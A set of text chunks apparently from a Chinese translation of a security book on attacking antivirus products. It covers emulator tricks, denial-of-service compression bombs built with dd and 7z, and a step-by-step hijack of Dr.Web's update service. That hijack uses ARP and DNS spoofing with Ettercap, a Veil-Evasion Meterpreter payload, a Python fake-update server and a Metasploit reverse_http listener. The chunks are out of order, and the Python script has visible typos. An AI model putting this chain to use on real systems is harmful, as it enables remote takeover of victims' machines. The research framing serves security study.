    {"text": "不过即便我们借助模拟器进行了堆喷，或实现了之前提到的一些技巧，仍然有一些问题和限制待我们去克服：反病毒模拟器通常对可以模拟的指令、允许调用的API数量，以及可以使用的内存大小等有严格的限制。 出于性能考虑，反病毒软件不会让一个样本永久运行在计算机上，更何况是一个可以造成模拟器内存泄漏的恶意样本。"},
    {"text": "当反病毒软件分析档案文件的时候，引擎会默认执行如下操作： (1) 引擎会有限制（最多向下扫描五层嵌套文件）地分析档案文件中的全部子文件；"},
    {"text": "要实现这样的技巧，我们只要在样本文件末尾添加一个字节或DWORD，这样文件的校验散列值就会改变，反病毒软件就无法分辨即将扫描的样本以前是否已经扫描过了。"},
    {"text": "此外，我们还要注意，由于文件十分相似，只有一个字节或一个DOWRD的差别，所以压缩率会十分高，也会非常高效地创建很小的ZIP或7z档案文件，其内部又包含大量的样本文件。"},
    {"text": "查找Intel x86、AMD x86_64和ARM模拟器中的缺陷 反病毒软件通常会使用不止一款模拟器。 最常见的模拟器是针对Intel x86的，也有不太常见的针对AMD x86_64或ARM的模拟器，甚至是针对Microsoft.NET字节码的模拟器。"},
    {"text": "我们甚至可以针对不同的架构，在不同的Windows PE文件中使用不同的汇编语言编写payload的不同部分：借助之前档案文件的技巧，我们可以向反病毒软件发送一个高级payload，其中一个文件使用Intel x86汇编语言编写，第二个文件使用AMD x86_64汇编语言实现，在最后一个文件中使用ARM汇编语言进行相关操作。"},
    {"text": "使用JavaScript、VBScript或ActionScript 在前面几节中，我排除了使用JavaScript创建复杂payload或进行堆喷的可能性，并指出这种办法只能用于浏览器和Adobe Acrobat Reader。"},
    {"text": "强烈推荐使用JavaScript（如果可以的话还可以用VBScript）代替汇编语言来编写漏洞利用程序的原因是，可以更轻松地针对不同引擎编写出不同的漏洞利用程序。 如果你想针对一些反病毒引擎进行漏洞利用攻击，而且发现相关引擎中有JavaScript引擎，可以首先识别反病毒产品使用的JavaScript引擎，然后针对不同的反病毒产品编写payload。"},
    {"text": "比如，要确定Zoner Antivirus Linux版支持什么本机代码模拟器，可以使用以下命令： $ LANG=C grep emu -r /opt/zav/ Binary file /opt/zav/bin/zavcli matches Binary file /opt/zav/lib/zavcore.so matches 如果Zoner AntiVirus存在模拟器，那么肯定位于zavcli或zavcore.so中。"},
    {"text": "下面就使用逆向分析工具Radare2列出所有位于库文件zavcore.so中的调试符号，并筛选出其中与模拟器相关的符号： $ rabin2 -s /opt/zav/lib/zavcore.so | egrep \"(emu|VM)\" vaddr=0x00092600 paddr=0x00078600 ord=525 fwd=NONE sz=419 bind=LOCAL type=FUNC name=_ZL17PeInstrInvalidateP9_PE_VMCTXP10_PE_THREADjP10X86_DISASMjPP12 _PE_JITBLOCKPPhj jij.clone.0 vaddr=0x00198640 paddr=0x0017e640 ord=622 fwd=NONE sz=80 bind=LOCAL type=OBJECT name=_ZL7g_JitVM (...) vaddr=0x000f7aa0 paddr=0x000ddaa0 ord=773 fwd=NONE sz=84 bind=LOCAL type=OBJECT name=_ZZN5RarVM16IsStandardFilterEPhiE4C.25 vaddr=0x000f7a80 paddr=0x000dda80 ord=774 fwd=NONE sz=16 bind=LOCAL type=OBJECT name=_ZZN5RarVM21ExecuteStandardFilterE18VM_StandardFilters E5Masks 初步看来，Zoner AntiVirus中存在某种针对PE文件的虚拟机（ PE_VMCTX ，意思是PE虚拟机环境）和针对压缩文件RAR的虚拟机——RAR VM。"},
    {"text": "如果查找与脚本引擎相关的信息，会发现并没有找到相关结果： $ rabin2 -s /opt/zav/lib/zavcore.so | egrep -i \"(vb|java|script)\" 像上述这样没有返回任何有价值信息的搜索，并不意味着反病毒产品中不存在相关功能特性，而是用于查找的字符串特征有遗漏。"},
    {"text": "如果我们研究一下Comodo这样的支持此类模拟操作的反病毒产品，会得到一个完全不同的输出结果： $ LANG=C grep jscript -r * Binary file libSCRIPTENGINE.so matches 结果显示，根据名称匹配到了库文件libSCRIPTENGINE.so。 如果使用Radare2中命令行工具 rabin2 分析该库文件，会看到一系列显示脚本引擎支持特性的调试符号： $ rabin2 -s libSCRIPTENGINE.so | egrep -i \"(js|vb)\" | more vaddr=0x000c2943 paddr=0x00067c33 ord=083 fwd=NONE sz=2327 bind=LOCAL type=FUNC name=_GLOBAL__I_JsObjectMethod.cpp vaddr=0x000c6b08 paddr=0x0006bdf8 ord=086 fwd=NONE sz=43 bind=LOCAL type=FUNC name=_GLOBAL__I_JsParseSynate.cpp vaddr=0x001009e0 paddr=0x000a5cd0 ord=099 fwd=NONE sz=200 bind=LOCAL type=OBJECT name=_ZL9js_arrays vaddr=0x000dc033 paddr=0x00081323 ord=108 fwd=NONE sz=270 bind=LOCAL type=FUNC name=_GLOBAL__I_JsGlobalVar.cpp (...) vaddr=0x003257b0 paddr=0x002caaa0 ord=221 fwd=NONE sz=40 bind=UNKNOWN type=OBJECT name=_ZTV9CVbBelowE (...) vaddr=0x000e7664 paddr=0x0008c954 ord=225 fwd=NONE sz=19 bind=UNKNOWN type=FUNC name=_ZN13CVbIntegerDivD1Ev Comodo Antivirus支持JavaScript和VBScript的模拟，这也意味着攻击者可以使用脚本引擎支持的这两种语言之一来编写漏洞利用程序。"},
    {"text": "发布最终版payload 前面一节重点阐释了在确定支持的模拟器或解释器后如何编写payload，以及如何借助档案文件完成一次多阶段的漏洞利用攻击等。 针对目标反病毒软件编写完成payload之后，该做什么来完成漏洞利用攻击的最后一步呢？"},
    {"text": "在任何情况下，以下规则都有效： 反病毒软件会分析所有下载到磁盘的内容； 反病毒软件会分析所有在程序执行过程中运行或求值的新内容； 扫描程序会检查所有下载到磁盘的新文件或缓冲区内容，以及程序运行期间的相关评估操作。"},
    {"text": "反病毒软件通常会hook函数 eval() 来进行相关特征匹配，或使用其他种类的扫描来侦测新创建的缓冲区中是否存在恶意代码。 比如，当我们查看Comodo Antivirus中的库文件libSCRIPTENGINE.so时会发现以下字符串： .rodata:00000000000A7438 ; char aFoundVirus[] .rodata:00000000000A7438 46 6F 75 6E 64 20 56 69+aFoundVirus db 'Found Virus!',0 ; DATA XREF: eval(CParamsHelper &)+C5o .rodata:00000000000A7445 00 00 00 00 00 00 00 00+ align 10h 如果对该字符串的数据交叉调用进行跟踪分析，最终会找到函数 eval(CParamsHelper &amp;) ： .text:00082F03 mov edi, 8 ; unsigned __int64 .text:00082F08 call __Znwm ; operator new(ulong) .text:00082F0D lea rsi, aFoundVirus ; \"Found Virus!\" .text:00082F14 mov rdi, rax ; this .text:00082F17 mov rbx, rax ; CJsStopRunException::CJsStopRunException(char *) .text:00082F1A call __ZN19CJsStopRunExceptionC1EPc .text:00082F1F jmp short loc_82F34 如你所见，每次调用JavaScript函数 eval ，反病毒软件就会扫描一次缓冲区。"},
    {"text": "15.1.4 利用更新服务中的漏洞 反病毒软件客户端中容易存在漏洞的一个部分是更新服务。 利用更新服务中的漏洞与利用其他客户端模块，比如文件格式解析器中的普通内存破坏漏洞，有着很大的区别。"},
    {"text": "在局域网内，这类截取可以通过ARP（Address Resolution Protocol，地址解析协议）伪造实现。 ARP伪造或ARP投毒，是攻击者在局域网内通过发送伪造的ARP响应进行的攻击。 伪造ARP的响应将攻击者的MAC地址和目标主机IP地址关联，以此来截获目标机器与服务器之间的通信。"},
    {"text": "此处的“校验”是指更新服务校验更新文件是否由反病毒软件生成，在传输过程中是否被修改过。 一般会通过对更新文件进行签名来完成校验过程（比如，使用RSA）。"},
    {"text": "对攻击者来说幸运的是，大多反病毒产品出于检查更新文件是否在传输过程中被替换修改的目的，仅通过CRC或其他类似MD5这样的加密散列来校验其更新文件，除此以外就没有其他任何操作了。 攻击者可以发送与更新文件一致的正确CRC或MD5散列值文件。"},
    {"text": "下面是有关OpenSSL的CVE-2008-5077漏洞摘要： 在调用函数 EVP_VerifyFinal 后，OpenSSL用到的若干函数允许一个畸形的签名被当作合法签名处理，而不是抛出一个错误。"},
    {"text": "拥有恶意服务器的远程攻击者，或者能够利用密钥链生成的畸形SSL/TLS证书执行中间人攻击的远程攻击者，都能够成功利用该缺陷绕过相关校验。"},
    {"text": "Dr.Web反病毒软件曾经会从硬编码的一系列HTTP服务器地址下载更新文件： update.geo.drweb.com update.drweb.com update.msk.drweb.com update.us.drweb.com update.msk5.drweb.com update.msk6.drweb.com update.fr1.drweb.com update.us1.drweb.com update.kz.drweb.com update.nsk1.drweb.com 在局域网内，针对上述域名进行ARP伪造和DNS投毒攻击，攻击者可以将从Dr.Web客户端获取下载的更新文件替换成自己的恶意文件。 更新服务首先从上述网址列表中选择一台更新服务器，然后下载一个带有时间戳的文件，来确定是否有新的更新可供下载： HTTP Request: GET /x64/600/av/windows/timestamp HTTP/1.1 Accept: */* Host: update.drweb.com X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95 X-DrWeb-KeyNumber: 0110258647 X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4 User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601) Connection: Keep-Alive Cache-Control: no-cache HTTP Response: HTTP/1.1 200 OK Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT Content-Type: application/octet-stream Content-Length: 10 Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT Connection: keep-alive Accept-Ranges: bytes 1397898695 返回的数值是一个Unix时间戳，显示的是上次更新的时间。 在此操作之后，更新服务会确定当前在drweb32.flg中存储的产品版本号： HTTP Request: GET /x64/600/av/windows/drweb32.flg HTTP/1.1 Accept: */* Host: update.drweb.com X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95 X-DrWeb-KeyNumber: 0110258647 X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4 User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601) Connection: Keep-Alive Cache-Control: no-cache HTTP Response: HTTP/1.1 200 OK Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT Content-Type: application/octet-stream Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT Connection: keep-alive Accept-Ranges: bytes [windows] LinkNews=http://news.drweb.com/flag+800/ LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/ drweb-800-win.exe FileName= isTime=1 TimeX=1420122293 cmdLine= Type=1 ExcludeOS=2k|xp64 ExcludeDwl=ja ExcludeLCID=17|1041 [signature] sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8A C4C291F364077 如你所见，上述响应中包含了产品最新版本的下载链接，以及排除于本次更新之外的系统等。"},
    {"text": "更新协议最有趣的部分出现了：从Dr.Web请求下载一个包含所有待更新文件的经过LZMA压缩的目录文件。 GET /x64/600/av/windows/drweb32.lst.lzma HTTP / 1.1 Accept: * / * Host: update.drweb.com X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95 X-DrWeb-KeyNumber: 0110258647 X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4 User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601) Connection: Keep-Alive Cache-Control: no-cache HTTP / 1.1 200 OK Server: nginx / 42 Date: Sat, 19 Apr 2014 10:33:39 GMT Content-Type: application / octet-stream Content-Length: 2373 Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT Connection: keep-alive Accept-Ranges: bytes (...binary data...) LZMA压缩文件内部结构类似下面这样： [DrWebUpdateList] [500] +timestamp, 8D17F12F +lang.lst, EDCB0715 +update.drl, AB6FA8BE +drwebupw.exe, 8C879982 +drweb32.dll, B73749FD +drwebase.vdb, C5CBA22F ... +<wnt>%SYSDIR64%\\drivers\\dwprot.sys, 3143EB8D +<wnt>%CommonProgramFiles%\\Doctor Web\\Scanning Engine\\dwengine.exe, 8097D92B +<wnt>%CommonProgramFiles%\\Doctor Web\\Scanning Engine\\dwinctl.dll, A18AEA4A ... [DrWebUpdateListEnd] 上述列表包含了所有可以更新的文件。"},
    {"text": "得到这些信息后，现在有两种方式可以发起攻击： LZMA压缩目录文件被下载到电脑上后，对其进行修改，使带有合法CRC值的伪造模块可以被安装到系统中；"},
    {"text": "这里需要注意的是，使用这种方式不仅能够将相关文件部署到Dr.Web的安装目录中去：而且无论对于Linux还是Windows，我们都可以将任意文件写入目标机器上的任意位置。"},
    {"text": "下载差量更新文件的HTTP请求如下： GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f 如果文件不存在，Dr.Web会尝试下载新版本的完整安装程序： GET /x64/600/av/windows/drwebupw.exe 以下是攻击Dr.Web更新服务的具体步骤。"},
    {"text": "(4) 当存在缺陷的Dr.Web向我们伪造的更新服务器请求下载更新文件的时候，提供一个Meterpreter（和Metasploit相兼容的工具）可执行文件来替代真正的更新文件。"},
    {"text": "使用Veil-Evasion创建可以绕过反病毒软件侦测的Meterpreter payload，过程如下： ======================================================================== Veil-Evasion | [Version]: 2.7.0 ======================================================================== [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ======================================================================== Main Menu 29 payloads loaded Available commands: use use a specific payload info information on a specific payload list list available payloads update update Veil to the latest version clean clean out payload folders checkvt check payload hashes vs. VirusTotal exit exit Veil [>] Please enter a command: list [*] Available payloads: 1) auxiliary/coldwar_wrapper 2) auxiliary/pyinstaller_wrapper 3) c/meterpreter/rev_http (...) 29) python/shellcode_inject/pidinject [>] Please enter a command: use 3 [>] Please enter a command: set LHOST target-ip [>] Please enter a command: generate [>] Please enter the base name for output files: drwebupw [*] Executable written to: /root/veil-output/compiled/drwebupw.exe 接下来使用 Ettercap 发起ARP伪造攻击，然后启用进行DNS伪造攻击的相关模块。"},
    {"text": "在基于Debian的Linux系统上， Ettercap 可以通过以下命令安装： $ sudo apt-get install ettercap-graphical 安装完成后，以超级用户身份在terminal运行 Ettercap ： $ sudo ettercap -G -G 标志可以让工具以GUI方式运行，这样比使用文本界面或使用带一长串标志的命令更容易些。"},
    {"text": "接着选择Hosts → Scan扫描Host。 工具会扫描局域网中与已选择网卡对应的host。 回到菜单，选择Hosts → Hosts Lists，然后选择合适的目标（第一个是网络路由器，第二个是运行着Dr.Web的目标机器）。"},
    {"text": "（在Ubuntu系统中，文件位于/etc/ettercap/etter.dns。 ） drweb.com A your-own-ip *.drweb.com A your-own-ip 编辑并保存文件后，回到Ettercap GUI，点击Plugins → Manage Plugins，双击显示在dns_spoof上的列表。"},
    {"text": "现在，到了利用Dr.Web更新服务的最后一步，使用 http://habrahabr.ru 博客作者用Python编写的漏洞利用程序： #!/usr/bin/python #encoding: utf-8 import SocketServer import SimpleHTTPServer import time import lzma import os import binascii from struct import * from subprocess import call # Heπocpeдcтвенно oбpaбoтчик http зaпpocoв от клиeнта Dr.Web class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): if 'timestamp' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('timestamp').read()) elif 'drweb32.flg' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.flg').read()) elif 'drweb32.lst.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.lst.lzma').read()) elif UPLOAD_FILENAME + '.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read()) #Клиент первоначально запрашивает патч для обновившегося файла, #а если не получает его – запрашивает файл целиκом elif UPLOAD_FILENAME + '.patch' in self.path: self.send_response(404) self.end_headers() else: print self.path def CRC32_from_file(filename): buf = open(filename,'rb').read() buf = (binascii.crc32(buf) & 0xFFFFFFFF) return \"%08X\" % buf def create_timestamp_file(): with open('timestamp','w') as f: f.write('%s'%int(time.time())) def create_lst_file(upload_filename,upload_path): # upload_path моҗет принимать: # пустые значения, что значит что файл находнтся непосредственно # в диреkтории Dr.Web # либо значения вида <wnt>%SYSDIR64%\\drivers\\, # <wnt>%CommonProgramFiles%\\Doctor Web\\Scanning Engine\\ и т.д. crc32 = CRC32_from_file(upload_filename) with open('drweb32.lst','w') as f: f.write('[DrWebUpdateList]\\n') f.write('[500]\\n') f.write('+%s, %s\\n' % (upload_path+upload_filename,crc32)) f.write('[DrWebUpdateListEnd]\\n') # по какой-то причине встроенная в Linux утилита lzma в coздаваемом # файле не указывает размер исходного файла # без этого параметра Dr.Web отказывается примимать файлы, поэтому # правим руками def edit_file_size(lzma_filename,orig_filename): file_size = os.stat(orig_filename).st_size with open(lzma_filename,'r+b') as f: f.seek(5) bsize = pack('l',file_size) f.write(bsize) #загруҗаемый файл долҗен находится в одной палке со скриптом UPLOAD_FILENAME = 'drwebupw.exe' #создаем метку времени create_timestamp_file() #cоздаем файл со списком обновляемых файлов, для упаковки в lzma #испоульзуем встроенную утилиту Create_let_file(UPLOAD_FILENAME.'') call(['lzma', '-k', '-f','drweb32.lst']) edit_file_size('drweb32.lst.lzma','drweb32.lst') #архивируем файл с фейковым обновлением call(['lzma', '-k', '-f',UPLOAD_FILENAME]) edit_file_size(UOLOAD_FILENAME + '.lzme',UPLOAD_FILENAME) print 'Http Server started...' httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler) httpServer.serve_forever() 尽管注释是俄语，但是Python代码部分很好理解：伪造Dr.Web的更新协议，并返回修改过的更新文件和使用Linux上LZMA工具打包的LZMA压缩目录文件。"},
    {"text": "如果运行该脚本，并尝试更新Dr.Web反病毒软件，会看到如下请求： $ python drweb_http_server.py Http Server started... 10.0.1.102 - - [20/Apr/2014 10:48:24] \"GET /x64/600/av/windows/timestamp HTTP/1.1\" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:24] \"GET /x64/600/av/windows/drweb32.flg HTTP/1.1\" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:26] \"GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1\" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:27] \"GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1\" 404 - 10.0.1.102 - - [20/Apr/2014 10:48:27] \"GET /x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1\" 200 – 在我们的机器上，通过以下命令运行Metasploit的反向HTTP监听： $ msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http PAYLOAD => windows/meterpreter/reverse_http msf exploit(handler) > set LHOST target-ip LHOST => target-ip msf exploit(handler) > set LPORT 8080 LPORT => 8080 msf exploit(handler) > run [*] Started HTTP reverse handler on http://target-ip:8080/ [*] Starting the payload handler... 如果一切顺利，当Dr.Web尝试更新文件的时候，就会将我们创建的Meterpreter payload下载并安装。"},
    {"text": "15.2 服务器端的漏洞利用 服务器端的漏洞利用是通过局域网或广域网、互联网等相连网络，远程利用网络服务中的漏洞。 服务器端的漏洞利用可以针对以下服务。"},
    {"text": "但是，好消息是，与客户端漏洞利用一样，利用反病毒网络服务或更新服务的漏洞（或者你希望利用的任何服务器端漏洞），并不像利用OpenSSH、Apache或Microsoft Windows Update那样困难。 确实，该过程和客户端部分漏洞利用没什么差别：事实上，相比针对广泛使用、有更强安全意识的服务器软件发起攻击，针对反病毒软件服务开展攻击会更容易一些。"},
    {"text": "15.2.2 利用ASLR、DEP和地址固定的RWX内存页面相关漏洞 之前我们已经探讨过在客户端，如果反病毒产品的某一个或多个模块禁用了DEP或ASLR，如何利用这样的缺陷。"},
    {"text": "如果你需要一个带有本机代码的固定地址来创建带ROP组件的payload，我们就可以利用反病毒软件中没有启用ASLR的、存在漏洞的模块来发起攻击。"},
    {"text": "远程利用反病毒产品客户端漏洞的一个例子是，攻击者向目标机器发送一封恶意邮件，该邮件会触发反病毒软件的漏洞，进而成功实施DoS攻击或远程代码执行。 另一方面，远程利用反病毒软件服务器端的漏洞，涉及攻击暴露在LAN或WAN中的邮件网关、防火墙或反病毒软件的其他服务器和服务。"},
    {"text": "反病毒软件的客户端模块会受到操作系统、编译器和定制的沙盒提供的对抗漏洞利用技术保护，比如ASLR、DEP、SafeSEH、控制流保护（Control Flow Guard）、安全Cookie等。"},
    {"text": "除了借助反病毒软件在使用漏洞利用防护技术的过程中出现的错误，攻击者还会利用反病毒软件中的一些功能特性来进行攻击。 比如，如果反病毒软件带有模拟器，就可以利用其中的缺陷来进行堆喷或泄漏内存并发起可以导致反病毒软件崩溃的DoS攻击。 反病毒软件服务器端的模块和其他网络服务也会采用上面提到的客户端使用的相关漏洞利用防护技术，当然也会因为使用了这些技术而存在与客户端模块相同的缺陷。"},
    {"text": "黑客攻防技术宝典：反病毒篇 Table of Contents 版权声明 前言 本书概述 本书结构 目标读者 所需工具 网络资源 总结 电子书 致谢 第一部分 反病毒技术入门 第 1 章 反病毒软件入门 1.1 何谓反病毒软件 1.2 反病毒软件的历史与现状 1.3 反病毒扫描器、内核和产品 1.4 反病毒软件的典型误区 1.5 反病毒软件功能 1.5.1 基础功能 1.5.2 高级功能 1.6 总结 第 2 章 逆向工程核心 2.1 逆向分析工具 2.1.1 命令行工具与GUI工具 2.1.2 调试符号 2.1.3 提取调试符号的技巧 2.2 调试技巧 后门和配置设置 2.3 移植内核 2.4 实战案例：为Linux版Avast编写Python binding 2.4.1 Linux版Avast简介 2.4.2 为Linux版Avast编写简单的Python binding 2.4.3 Python binding的最终版本 2.5 实战案例：为Linux版Comodo编写本机C/C++工具 2.6 内核加载的其他部分 2.7 总结 第 3 章 插件系统 3.1 插件加载原理 3.1.1 反病毒软件的全功能链接器 3.1.2 理解动态加载 3.1.3 插件打包方式的利弊 3.2 反病毒插件的种类 3.2.1 扫描器和通用侦测程序 3.2.2 支持文件格式和协议 3.2.3 启发式检测 3.3 高级插件 3.3.1 内存扫描器 3.3.2 非本机代码 3.3.3 脚本语言 3.3.4 模拟器 3.4 总结 第 4 章 反病毒特征码技术 4.1 典型特征码 4.1.1 字节流 4.1.2 校验和 4.1.3 定制的校验和 4.1.4 加密散列算法 4.2 高级特征码 4.2.1 模糊散列算法 4.2.2 基于程序图的可执行文件散列算法 4.3 总结 第 5 章 反病毒软件的更新系统 5.1 理解更新协议 5.1.1 支持SSL/TLS 5.1.2 验证更新文件 5.2 剖析更新协议 5.3 错误的保护 5.4 总结 第二部分 绕过反病毒软件 第 6 章 绕过反病毒软件 6.1 谁会使用反病毒软件的绕过技术 6.2 探究反病毒软件侦测恶意软件的方式 6.2.1 用于侦测恶意软件的老把戏：分治算法 6.2.2 二进制指令和污点分析 6.3 总结 第 7 章 绕过特征码识别 7.1 文件格式：偏门案例和无文档说明案例 7.2 绕过现实中的特征码 7.3 绕过特定文件格式的相关提示和技巧 7.3.1 PE文件 7.3.2 JavaScript 7.3.3 PDF 7.4 总结 第 8 章 绕过扫描器 8.1 绕过技术的通用提示和策略 8.1.1 识别分析模拟器 8.1.2 高级绕过技巧 8.2 自动化绕过扫描器 8.2.1 初始步骤 8.2.2 MultiAV配置 8.2.3 peCloak 8.2.4 编写终极工具 8.3 总结 第 9 章 绕过启发式引擎 9.1 启发式引擎种类 9.1.1 静态启发式引擎 9.1.2 绕过简单的静态启发式引擎 9.1.3 动态启发式引擎 9.2 总结 第 10 章 确定攻击面 10.1 理解本地攻击面 10.1.1 查找文件和系统目录权限的弱点 10.1.2 权限提升 10.2 错误的访问控制列表 10.2.1 在Unix平台上利用SUID和SGID二进制文件漏洞 10.2.2 程序和二进制文件的ASLR和DEP保护 10.2.3 利用Windows对象的错误权限 10.2.4 利用逻辑缺陷 10.3 理解远程攻击面 10.3.1 文件解析器 10.3.2 通用侦测和感染文件修复代码 10.3.3 网络服务、管理面板和控制台 10.3.4 防火墙、入侵监测系统和解析器 10.3.5 更新服务 10.3.6 浏览器插件 10.3.7 安全增强软件 10.4 总结 第 11 章 拒绝服务攻击 11.1 本地拒绝服务攻击 11.1.1 压缩炸弹 11.1.2 文件格式解析器中的缺陷 11.1.3 攻击内核驱动 11.2 远程拒绝服务攻击 11.2.1 压缩炸弹 11.2.2 文件格式解析器中的缺陷 11.3 总结 第三部分 分析与攻击 第 12 章 静态分析 12.1 手动二进制审计 12.1.1 文件格式解析器 12.1.2 远程服务 12.2 总结 第 13 章 动态分析 13.1 模糊测试 13.1.1 模糊测试工具是什么 13.1.2 简单的模糊测试 13.1.3 对反病毒产品的自动化模糊测试 13.1.4 找到好的模糊测试模版 13.1.5 查找模版文件 13.1.6 使代码覆盖率最大化 13.1.7 模糊测试套组Nightmare 13.2 总结 第 14 章 本地攻击 14.1 利用后门和隐藏功能 14.2 挖掘非法特权、权限分配和访问控制列表 14.3 在内核态查找隐蔽的功能特性 14.4 更多的内核逻辑漏洞 14.5 总结 第 15 章 远程漏洞 15.1 实施客户端漏洞利用攻击 15.1.1 利用沙盒的缺陷 15.1.2 利用ASLR、DEP和位于固定地址的RWX页面漏洞 15.1.3 编写复杂的payload 15.1.4 利用更新服务中的漏洞 15.2 服务器端的漏洞利用 15.2.1 客户端和服务器端漏洞利用的区别 15.2.2 利用ASLR、DEP和地址固定的RWX内存页面相关漏洞 15.3 总结 第四部分 当前趋势与建议 第 16 章 当前反病毒防护趋势 16.1 匹配攻击技术与目标 16.1.1 多种多样的反病毒产品 16.1.2 针对家庭用户 16.1.3 针对中小型公司 16.2 针对政府机构和大型公司 16.3 总结 第 17 章 一些建议和未来展望 17.1 给反病毒软件用户的建议 17.1.1 盲目信任是错误的 17.1.2 隔离机器来增强防护 17.1.3 审计反病毒产品 17.2 给反病毒厂商的建议 17.2.1 优秀的工程师并不代表安全 17.2.2 利用反病毒软件的漏洞很简单 17.2.3 进行审计 17.2.4 模糊测试 17.2.5 安全地使用权限 17.2.6 减少解析器中的危险代码 17.2.7 改进升级服务和协议的安全性 17.2.8 删除或禁用旧代码 17.3 总结"},
    {"text": "拒绝服务攻击是针对某个软件或装有某些软件的计算机开展的攻击，目的是让目标软件或计算机无法正常工作。 针对反病毒软件可以开展多种形式的拒绝服务攻击。 举例来说，针对反病毒软件开展拒绝服务攻击，通常是为了禁用反病毒软件，或者将其从正在受到恶意病毒感染的或已经被感染的机器上移除。"},
    {"text": "通过拒绝服务攻击将反病毒软件禁用或移除，避免其日后更新升级，进而确保恶意软件能够长久驻留在受害者的电脑中。 旨在禁用反病毒软件的拒绝服务攻击又被称作“AV终结者”。"},
    {"text": "其实大多“AV终结者”进行的所谓拒绝服务攻击，严格来说并不能归类为“拒绝服务攻击”，因为它们需要攻击者首先获取被感染的计算机的管理员权限，卸载反病毒软件或禁用反病毒软件对应的Windows服务。"},
    {"text": "在接下来的几节中，我们将会跳过前面提到的这种“伪拒绝服务攻击”，重点关注“真正的拒绝服务攻击”：后者可以由低权限的本地用户发起或远程借助本章提到的一些攻击向量来实施。 11.1 本地拒绝服务攻击 针对反病毒软件的本地拒绝服务，是指在安装了反病毒软件的同一台计算机上实施的拒绝服务攻击。 有很多种不同的本地拒绝服务攻击，下面列举一些最常见的攻击方式： 压缩炸弹（也可以用于进行远程拒绝服务攻击）；"},
    {"text": "针对网络服务进行攻击（也可以用于进行远程拒绝服务攻击，尽管有一些网络服务可能只监听了类似localhost或127.0.0.1这样的本地IP地址）。"},
    {"text": "压缩炸弹是一个包含许多压缩文件的压缩文件，这些被包含的压缩文件中又有一层压缩文件，以此类推。 压缩炸弹也可以是在压缩前十分大的GB级别文件，但是压缩后文件大小仅有10 MB、3 MB甚至1 MB。"},
    {"text": "图11-1 SyScan 2014中名为“攻破反病毒软件”的议题PPT截图，其中展示了各款反病毒软件受压缩炸弹漏洞的影响情况 反病毒软件、网络检查工具或其他受此漏洞影响的工具，受压缩炸弹影响会不同程度地被干扰数秒或数分钟，如果相关工具在扫描过程中陷入了死循环，还有可能会永久显示正在扫描。"},
    {"text": "下列命令创建了一个2 GB的样本文件，接着直接将其压缩成了BZip2格式，并生成了一个1522字节的压缩文件： dd if=/dev/zero bs=2048M count=1 | bzip2 -9 > file.bz2 我们可以使用 wc 工具，快速查看生成文件的大小： $ LANG=C dd if=/dev/zero bs=2048M count=1 | bzip2 -9 | wc -c 0+1 records in 0+1 records out 2147479552 bytes (2.1 GB) copied, 15.619 s, 137 MB/s 1522 尽管生成的压缩炸弹十分简易，但是通过VirusTotal报告我们看到，该炸弹已经影响到了不少反病毒产品： https://www.virustotal.com/file/f32010df7522881cfa81aa72d58d7e98d75c3dbb4cfa4fa2545ef675715dbc7c/analysis/1426422322/ 。"},
    {"text": "图11-2 VirusTotal结果显示有两款反病毒软件扫描超时 时钟图标表示扫描分析超时，这样我们就能够推测出：可以利用刚才那个简易压缩炸弹样本，针对这两款反病毒软件发起攻击。"},
    {"text": "通过以下指令，我们可以将一个2 GB的样本文件压缩成300 KB的7z文件： $ LANG=C dd if=/dev/zero bs=2048M count=1 > 2gb_dummy $ 7z a -t7z -mx9 test.7z 2gb_dummy 0+1 records in 0+1 records out 2147479552 bytes (2.1 GB) copied, 15.619 s, 137 MB/s $ 7z a -t7z -mx9 test.7z 2gb_dummy 7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18 p7zip Version 9.20 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,8 CPUs) Scanning Creating archive kk.7z Compressing 2gb_dummy Everything is Ok $ du -hc test.7z 300K kk.7z 300K total 让我们将新生成的7z文件上传到VirusTotal上，查看是否有反病毒软件受此压缩炸弹样本影响： https://www.virustotal.com/file/8649687fbd3f801ea1e5e07fd4fd2919006bbc47440c75d8d9655e3018039498/analysis/1426423246/ 。"},
    {"text": "我们可以使用7z来将刚刚2 GB的样本文件压缩成XZ文件格式，指令如下： $ 7z a -txz -mx9 test.xz 2gb_dummy 这次，又有一些反病毒产品的VirusTotal多引擎扫描结果显示超时，即Symantec和Zillya： https://www.virustotal.com/file/ff506a1bcdbafb8e887c6b485242b2db6327e9d267c4e38faf526052-60e4868c/analysis/1426433218/ 。"},
